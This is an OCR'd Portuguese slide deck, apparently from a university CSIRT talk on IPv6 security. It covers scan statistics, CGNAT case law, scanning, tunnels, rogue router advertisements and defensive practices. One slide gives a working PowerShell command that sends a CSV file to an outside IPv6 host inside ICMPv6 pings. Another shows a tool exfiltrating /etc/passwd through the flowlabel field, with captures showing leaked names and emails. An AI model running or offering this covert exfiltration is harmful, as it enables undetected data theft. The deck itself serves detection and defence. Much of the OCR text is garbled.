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Comparativo de Ataques Cibernéticos

Comparativo de Ataques Cibernéticos: IPv4 vs IPvb
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Fonte: Shadowserver Foundation / Akamai State of the Internet Report — Dez/2024



Comparacgao de servigos e portas abertas

24,763,614

China

United States
Germany
Singapore
Netherlands

More...

227
2222
1080
10001

50022

IPv4

o~

9,294,395
5,276,444
2,005,061

710,981

705,114

15,859,123

531,533
164,941
151,783

102,334

101,939
;|

Germany

United States
France

United Kingdom
Japan

More...

2
2222
443
23

2121

OpenSSH IPv6

- ¥

37,671
23,126
7,158
7,005

4,673

97,433

2,869
214
213

189

2,951,621

n

-w UM

United States
China

Hong Kong
Germany
Japan

More...

3306
33060
3307
3310

10000

IPv4

Fonte: Shodan Dashboard 03/12/2024

898,697
764,277
239,440
142,133

70,098

2,593,445
236,750
5,891
4,585

3,493

134,422

Germany

United States
Russian Federation
Estonia

France

More...

3306
33060
3310
3389

8889

MySQL IPv6

126,754
4,675
587
476

424

116,942
17,470
4

1

1



O IPv6 é mais do que apenas um substituto do IPv4

* RFC 2460 - IPv6 Specification — Dezembro 1998.
e RFC 8200 - Internet Standards IPv6 — Julho 2017.

IPv4 Header IPv6 Header

Type of
Service Version Flow Label
Fragment Cians

Next
Payload Length Hop Limit

Time to Live Header Checksum

Source Address

Destination Address

| options | Padding | Source Address

Field’s Name Kept from IPv4 to IPv6

©
qc,; B Fields Not Kept in IPv6 e
:Ic,’ = Name and Position Changed in IPv6 Destination Address Fonte: |magem obtida via busca

no Google Imagens.

New Field in IPv6



Criptografia no IPv6 com IPSec

* O IPv6 possui IPSec integrado como parte do

protocolo e nao € um complemento como no IPv4.

No entanto, isso nao significa que ele esta ativado
por padrao, apenas significa que ha uma

sobrecarga (teoricamente) menor na pilha de rede.

* |PSec foi considerado na concepcao do IPv6, no
sentido de que, ao contrario do IPv4, o IPSec
(quando usado) faz parte do cabecalho.

Fonte: Imagem criada com IA



O estado atual do IPSec

* Havia uma expectativa que com o IPv6, o IPSec se
tornaria mais utilizado. Por motivos comerciais, a
criptografia se tornou mais popular com os certificados
TLS para proteger a aplicacao.

* Mas, temos casos do uso IPSec com IPv6 para proteger
o trafego de Data Centers, permitindo a desativacao
dos concentradores VPN existentes.

* Uma nova oportunidade para o IPSec tem surgido com
o aumento da Inteligéncia Artificial (1A).

* Processamento de grandes volumes de dados

confidenciais e sistemas de controle de infraestrutura
critica Fonte: Imagem criada com IA



Restaurac¢ao da conexao fim-a-fim

 Um dos equivocos mais comuns em relacao a
seguranca IPv6 é dizer que a falta do NAT torna o IPv6
menos seguro.

* O NAT44 e frequentemente visto como um recurso de
seguranca em redes |Pv4.

* O uso de enderecos globais no IPv6 e a restauracao da
conectividade fim-a-fim (e2e) supreende muitas
pPEessoas.

* Os firewalls podem fornecer protecao equivalente Fonte: Meme amplamente
ou superior ao NAT sem quebrar a conectividade fim- compartilhado na Internet.
a-fim.



Beneficios para rastreamento de usuarios

e Auxilia na identificacao rapida do usuario.
« . . ECICK PE E
(Individualidade do acesso). "logs auex @ v |5

QUICK USER 997  NETWORKS~
. ~ . . . . USES UN] e IDENTIEATION
 Evita acusacdes criminais baseadas por logs ~USE[‘l ERTION:' Jp g&
' i 20
inconsistentes. P e ,q_gg

* Reduz os atrasos em investigacoes cibernéticas.
Correlacao de portas de origem.

* Elimina com o jogo de empurra-empurra entre
provedores de acesso e provedores de conteudo.

Fonte: Imagem criada com IA



CGNAT e a co-participacao em Cibercrimes

Jurisprudéncia/STJ - Acérdaos Jurisprudéncia/STJ - Acérdaos

5. Os enderecos de IP sao os dados essenciais para identificacao do origem, como solucdo temporaria.

. _— - ., ’ - - 6. Apenas com as informacoes dos provedores de conexao e de
dispositivo utilizado para acesso a internet e as aplicacgoes. H S P

6. A versao 4 dos IPs (IPv4), em razao da expansao e do crescimento aplicacao quanto a porta logica de origsis possivel resolver a

da internet, esgotou sua capacidade de utilizacao individualizada e e e N e e e T

se encontra em fase de transicao para a versao 6 (IPv6), fase esta e e e e e

ST N e R 7. 0 Marco Civil da Internet dispoe sobre a guarda e fornecimento de

2 — dados de conexao e de acesso a aplicacao em observancia aos direitos
solucao temporaria.

5 de intimidade e privacidade.
7. Nessa fase de compartilhamento do IP, a individualizacao da a
- - - - 8. Pelo cotejamento dos diversos dispositivos do Marco Civil da
navegacao ha internet passa a ser intrinsecamente dependente da

i : ; - 3 Internet mencionados acima, em especial o art. 10, caput e § 19,
porta logica de origem, até a migracao para o IPv6.

percebe-se que ¢é inegavel a existéncia do dever de guarda e

8. A revelacao das portas logicas de origem consubstancia simples ) - - - : — :
o - ) s - — fornecimento das informacoes relacionadas a porta légica de origem.
desdobramento légico do pedido de identificacao do usuario por IP. oo ) : -
9. Apenas com a porta légica de origem é possivel fazer restabelecer

a univocidade dos numeros IP na internet e, assim, é dado essencial

JurisprUdénCia/STJ _ AC()I’déOS para o correto funcionamento da rede e de seus agentes operando

sobre ela. Portanto, sua guarda é fundamental para a preservacao de

origem, como solucdo temporaria. possiveis interesses legitimos a serem protegidos em lides judiciais

6. Apenas com as informacées dos provedores de conexdo e de ou em investigacoes criminais.

aplicacao quanto a porta loégica de origem é possivel resolver a

questao da identidade de usuarios na internet, que estejam utilizam Fonte: REsp 2005051 /Sp 2022/0029308_2

um compartilhamento da versao 4 do IP. REsp 1784156/SP 2018/0322140-0
REsp 1777769 / SP 2018/0292747-0




Varredura de enderecos IPv6

* Avarredura é uma das primeiras coisas que pessoas mal intencionadas fazem a fim de
encontrar vulnerabilidade ou explorar sistemas.

* No IPv6 a varredura € um pouco mais dificil do que o IPv4. Mesmo assim temos
ferramentas que comecaram a realizar varreduras o espaco de enderecamento IPv6.

* A dificuldade depende do tipo de endereco atribuido e onde a ferramenta de scanner
esta localizada.

* Se os enderecos IPv6 da rede foram atribuidos utilizando uma politica conhecida, a
varredura se tornara muito mais facil. Por exemplo, algumas organizagdes numeram seus
hosts sequencialmente.

* Alguns baseiam sua estrutura de enderegos IPv6 em enderegos IPv4 ou em portas de
Servicos.



Estratégias de varredura no IPv6

No entanto, servidores, roteadores e outros sistemas de infraestrutura
tendem a empregar configuracao manual e normalmente resultam em
enderecos previsiveis que podem ser facilmente descobertos por meio de

varreduras de enderecos IPv6.

e Sondas multicast - Um endereco multicast especial € o ff02::1
e Consultas DNS multicast (mDNS).

* Transferéncias de zona DNS.

* Mapeamentos reversos de DNS.



Comparacao: Varreduras IPv4 x IPv6

Resultados Resultados
2024-11-03 2168788 2024-11-03 1212403
® cwmp 1505394 ® ftp 481912
o G
® ntp 72071 ® mysqgl 476075
ftp 64209 cwmp 220572
® telnet 54749 ® ntp 10670
® snmp 56126 ® telnet 5742
® ssl-poodle 55337 O— e dns 3863
® rdp 1701 ® snmp 3421
® mysqgl 3B7R7 ® ssl-poodle 2336
® dns 36275 ® imap 2099
o=
8: ® tfip 31903 ® pop3 2050
0_
— @ ssdp 27167 ® msrpc 721
— e ima 17958 ® smb 647
E i ==
pop3 17397 http 737
#® http 18502 o ® postgres 668
[ ]
® portmapper 16219 ® rdp 519
IPv4 IPv6

Fonte: ShadowServer Dashboard 03/12/2024



Monitorar o IPv6 é essencial para a Ciberseguranca

Nao adianta nada realizar controles de acesso ou bloqueios robustos em IPv4,
mas o IPv6 atribuido ao dispositivo pode nao estar com o mesmo nivel de
controle.

Através de uma varredura em IPv4, podemos explorar se ha um IPv6 atribuido a
interface que pode apresentar resultados diferentes (nmap v4 e v6).

Um malware pode explorar uma vulnerabilidade em um servico IPv4, realizar
uma movimentacao lateral nos sistemas internos e escapar de mecanismos de
deteccao.



1 - Tuneis Automaticos

A criacdo de tUneis automaticos | EENEET

ecisa do Windows 10 ou vers3o mais recente, Este computado

Google Chro!

s atualizagd

e N . G
C O m p ro m ete a eX p e r I e n C I a d e | Testar 1pv6 | [ Perguntas Fregiientes | | Espelhos | [Estatisticas
Testar sua conectividade IPv6. )

navegacao do usuario e desvia o S — —

P =
’ Seu endereco IPv4 parece ser 177.8] B Prompt de Comando
t ra e O Wy idaptador Ethernet Conexao local:
Ml sufixo DNS especifico de conexdo. . . . . _unicanp. b
g ® { Seu endereco IPV6 parece ser 2002:| [ Reieedets tht S idu Er Al PR 780a:3b46 :24e8: 445710
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Para garantir o melhor desempenho ot adordnanbalag 7 7 % U K U R R %diasdesconectada les]
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& oferecem garantias de qualidade e v{i Estado %;Smidia.lé_. e Senenad : midia desconectada 8co IPv6 a
. . partir de seu provedor. jmais informagses| uhixe e o coneXARE
) daptador de tdnel 6T04 Adapter:
Em um ambiente com Active ,
¢ Sufixo DNS especifico de conexd fca.unicamp.br
Endereco IPu .- 982 :h108:620

Directory (AD), as configuracoes

podem ser gerenciadas de forma , e ————
centralizada. - P P ——.

01/02/2024

Fonte: Captura de tela que mostra um tunel estabelecido e sua
conectividade com a Internet.



2 - Exfiltracao de
Transferéncia intencional, nao autorizada e

dfdos en.‘ redes secreta de dados de um computador ou outro
nao monitoradas dispositivo.

Essa técnica utiliza canais secretos (covert
channel) através de protocolos legitimos e
portas liberadas.

Técnica que pode também ser explorada pelos
Info-Stealers.

Fonte: Imagem criada com IA



Exfiltracao de
dados via ICMPv6

Fonte: Imagem criada com IA

Quando uma rede nao @ monitorada, a
exfiltracao de dados podem ocorrer de
forma invisivel, sem vocé perceber.

Um exemplo pratico é a exfiltracao de
dados via ICMPv6. E uma técnica eficaz, ja
gue o monitoramento do trafego tem uma
atencao maior nas camadas superiores,
como a aplicacao.

Recommendations for Filtering ICMPv6
Messages in Firewalls (RFC 4890).



> Internet Protocol Version 6, Src: 2801:8a:c040:fca®:5d0:a596:51b8:321e, Dst: 2801:8a:c860:4009:fcad::10

v Internet Control Message Protocol v6

00 2f a@ df 70 69 79 a8 c@ 48 86 dd 60 00 RT-/--pi y--H-
00 28 3a 80 28 01 00 8a c@ 40 fc a@ 05 do SRR G (N - B
51 b8 32 1e 28 91 00 8a c8 60 40 09 fc a@ --0-2-(. ---"@---

Type: Echo (ping) request (128)
Code: ©
Checksum: ©x0072 [correct]

00 00 00 10 80 00 0O 72 00 ©2 92 35 61 62 ceeeeee. -r---5ab
65 66 67 68 69 6a 6b 6¢c 6d 6e 6f 70 71 72 |cdefghij klmnopgr
75 76 77 61 62 63 64 65 66 67 68 69 stuvwabc defghi

[Checksum Status: Good]
Identifier: ©x0002
Sequence: 37429
Response In: 134]
Data (32 bytes) |
Data: 6162636465666768696a6b6c6dbe6f7071727374757677616263646566676869
[Length: 32]

Fonte: Captura de um pacote ICMPv6 de 32 bytes em condicdes normais utilizando wireshark - Host Windows

l

v Internet Control Message Protocol v6 c@ 48 52 54 00 2f a0 df 86 dd 60 of piy--HRT -/----".

Type: Echo (ping) reply: (129) 3a 38 28 01 00 8a c8 60 40 09 fc a0 cee-:8(r ---T@ -
b 00 10 28 O1 0O 8a c@ 40 fc a® @5 do - - - .- (- ---@----

32 1e 81 9@ ©Oc Sb 00 02 99 e0@ ef bb --0-2... -[......
Checksum: 0x@c5b [correct] 72 73 74 20 4e 61 6d 65 22 2c 22 4c -"First Name","L

[Checksum Status: Good]

Identifier: 0x0002

Sequence: 39392

[Response To: 313]

[Response Time: 14,519 ms]

V] Data (1024 bytes)

Data [truncated]: efbbbf224669727374204e616d65222c224c617374204e616d65222c22456d61696c2041646472657373222c22456e7472656761.
[Length: 1024]

4e 61 6d 65 22 2c 22 45 6d 61 69 6¢ ast Name ","Email
72 65 73 73 22 2c 22 45 6e 74 72 65 Address ","Entre
65 72 74 69 66 69 63 61 64 6f 22 2c ga Certi ficado",
6e 74 73 22 2c 22 46 65 65 64 62 61 "Points" ,"Feedba
Qa 22 43 41 52 4c 4f 53 22 2c 22 4c ck"--"CA RLOS","L
4f 22 2c 22 63 61 72 6¢c 6f 73 2e 6c | IMACO"," carlos.l
6f 40 66 61 74 65 63 2e 73 70 2e 67 imac

72 22 2¢.22 22.2ci22 32:30:22 2c:22 ov.br", ) S
43 4c 45 42 A5 52 22 2c 22 53 49 4c ".."CLEB ER","SIL
22 63 6c 65 62 65 72 2e 73 69 6¢C 76 VA","cle ber.silv

Fonte: Captura de um pacote ICMPv6 com 1024 bytes exfiltrado de uma planilha utilizando wireshark - Host Windows



C:\>powershell —-Command "$ping = New-Object System.Net.NetworkInformation.Ping; foreach ($data in Get-Content -Path ('C:
\nota.csv') -Encoding Byte —-ReadCount 1024) { $reply = $ping.Send('2801:8a:c860:U4009:fcad::10', 1500, $data); if ($reply
.Status -eq 'Success') { Write-Host \"Ping bem-sucedido: $($reply.Address) - Tempo de resposta: $($reply.RoundtripTime)m

s\" } else { Write-Host \"Ping falhou: $($reply.Status)\" } }"
Ping bem—-sucedido: 2801:8a:c860:4009:fcaf::10 - Tempo de resposta: lums
Ping bem-sucedido: 2801:8a:c860:4009:fca®::10 — Tempo de resposta: 15ms

Fonte: Linha de comando em powershell para envio de um pacote ICMPvV6 exfiltrando uma planilha em csv.

Date first seen Duration Proto Src IP Addr:Port Dst IP Addr:Port Flags Tos Packets | Bytes pps bps Bpp Flows
2024-08-20 12:58:34.443 0.000 ICMP6  2801:8a:c040:fcab:951b:5a06:40f6:3add.128 -> 2801:8a3:c860:4009:fcaf::10.6.0 ...... 0 512 68608 0 0 134 1
2024-08-20 15:03:49.425 0.000 ICMP6  2801:8a:c040:fcal:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fcaf::10.0.0 ...... 0 512 68608 %} 0 134 1
2024-08-20 15:47:31.599 0.000 ICMP6  2801:8a:c@40:fca@:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fca0::10.0.0 ...... () 512 36352 %} %} 71 1
2024-08-20 15:47:40.395 0.000 ICMP6  2801:8a:c040:fca@:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fca0::10.0.0 ...... 0 512 36352 0 0 71 1
2024-08-20 15:47:43.706 0.000 ICMP6  2801:8a:c040:fcab:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fcab::10.0.0 ...... 0 512 36352 5} 0 71 1
2024-08-20 16:39:40.926 0.000 ICMP6  2801:8a:c040:fcal:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fcaf::10.0.0 ...... 0 512 | 445440 7?7 0 0 870 1
2024-08-20 16:57:07.955 0.000 ICMP6  2801:8a:c040:fca@:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fca0::10.0.0 ...... (%) 512 36352 0 %} 71 1
2024-08-20 16:57:15.186 0.000 ICMP6  2801:8a:c040:fca@:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fca@::10.0.0 ...... 0 512 36352 0 0 71 1
2024-08-20 16:57:33.895 0.000 ICMP6  2801:8a:c040:fcab:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fcab::10.0.0 ...... 0 512 36352 %} 0 71 1
2024-08-20 16:58:05.438 0.000 ICMP6  2801:8a:c040:fcal:951b:5a06:40f6:3add.128 -> 2801:8a:c860:4009:fca0::10.0.0 ...... 0 512 36352 %} 0 71 1

Fonte: CSIRT Unicamp - Mitigacao da exfiltracdao de dados via ICMPv6 através do monitoramento via flows.



Exfiltracao de dados via flowlabel no IPv6

A exfiltracao de dados pode ser realizada
utilizando o campo flowlabel do IPv6.

A ferramenta IPv6teal permite a construcao
de um canal secreto, armazenando e

exfiltrando dados diretamente neste campo.

Esse trafego é dificil de identificar, pois o
flowlabel € um campo legitimo do IPv6,
muitas vezes ignorado ou tratado como
inofensivo pelas ferramentas de seguranca
convencionais.

Fonte: Figura sugerida pelo PowerPoint



$ python3 receive.py passwd

[-]1 Started receiver

[+] Receiving 916 bytes (7328 bits) from 2801:8a:c040:fcal::
[-] 86.5% completed (6340/7328 bits)

[+] Transferred 917 bytes in 11.55 seconds

[+] Data written to passwd

s []

Fonte: Exfiltracdao do arquivo passwd do Linux através do campo flowlabel utilizando a ferramenta em python.

\ lipve

No. Time Source Destination Protocol Length Info

7575 48.781890471 2801:8a:c040:fca0: 2600:1f18:2cd5:1840.. IPv6 66 IPv6 no next header
7576 48.815286523 2801:8a:c040:fcad: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7600 48.851383318 2801:8a:c040:fcad: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7601 48.883381704 2801:8a:c040:fcad: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7602 48.912357751 2801:8a:c040:fcad: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7603 48.978025969 2801:8a:c040:fca0d: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7604 48.981792258 2801:8a:c040:fcad: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7630 49.015543499 2801:8a:c040:fcad: 2600:1f18:2cd5:1840.. IPv6 67 IPv6 no next header
7631 49.046311909 2801:8a:c040:fcad: header
7633 49.080669842 2801:8a:c040:

TE2A AQ AANINRETOD NONA +On+ADNADFrnl-

NEAN+AFA10+2r~dBE 1040

4 »

» Frame 7633: 67 bytes on wire (536 bits), 67 bytes capturec+| 00060 12 53 24 d6 a7 ab 12 e4 b2 69 0a cd 86 dd 60 [Jj
» Ethernet II, Src: 12:e4:b2:69:0a:cd (12:64:b2:69:0a:ca [ 0010 [ 00 od 3b 2d 28 61 00 8a cO 40 fc a® 00 00

~ Internet Protocol Version 6, Src: 2801:8a:c040:fca0:: Ds 00 00 0O 00 OO O5 26 @ 1f 18 2c d5 18 40 3e da
0110 .... = Version: 6 ae 3c Ga be 7c b5 48 45 4c 4c 4f 5f 37 33 32 38

Ve O0BS0RB0 wrud seny wees sums e = Trabi e flass 5f 31 38

Payload Length: 13

Next Header: No Next Header for IPv6 (59)

Hop Limit: 45

Source Address: 2801:8a:c040:fcad:

Destination Address: 2600:1f18:2cd5:1840:3eda:ae3c:abe:’
» Data (13 bytes) 3

N 4 N

Fonte: Captura do pacote IPv6 relacionado a exfiltracdo dos dados via wireshark.



3 - Anuncios de roteadores (RA) hao.autorizados




Anuncios de
roteadores (RA)
nao autorizados

Fonte: Imagem criada com IA

Podem surgir acidentalmente, intencionalmente
ou devido a ma configuracao.

Implementar RA Guard ou controles semelhantes
pode prevenir a propagacao de RA nao
autorizados e proteger a integridade da rede.

LACNIC 41 - Analisis de seguridad de IPv6 con
Containerlab.

LACNIC 42 - Os riscos de ighorar o IPv6 na sua
rede.

Rogue IPv6 Router Advertisement Problem
Statement (RFC 6104).

IPv6 Router Advertisement Guard (RFC 6105).



Boas Praticas

Inclua o IPv6 nas suas politicas e atualize as diretrizes de seguranca.

Definir uma politica de enderecamento IPv6 (SLAAC/DHCPv6) que evite enderecos
previsiveis.

Realize auditorias e pentests frequentes para identificar e corrigir possiveis erros de
filtragem especificas em regras de firewalls.

Priorize sempre o trafego IPv6. Trate o IPv6 corretamente em vez de desativa-lo. Panico
sem efeito CVE-2024-38063.

Comece a configurar as redes e servicos como /Pv6-only eliminando assim as
vulnerabilidades associadas ao IPv4 e simplificando a gestao da ciberseguranca.



Planeje uma transicao segura e controlada do IPv4
para o IPv6, eliminando a dependéncia do NAT e

Desafios e do CGNAT.
Consideracgoes
Finais Diminuir o compartilhamento de IPv4 CGNAT

(maximo 16 usuarios por IPv4) a fim de facilitar a
identificacao e agilizar o processo.

Considerar ativar o IPSec para garantir
comunicacoes seguras, principalmente em
ambientes criticos.

Precisamos concluir o processo de transicao atual
e abandonar também o quanto antes o modelo
dual-stack e considerar somente o IPv6 na redes.

Fonte: Imagem criada com IA
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Muito Obrigado !!
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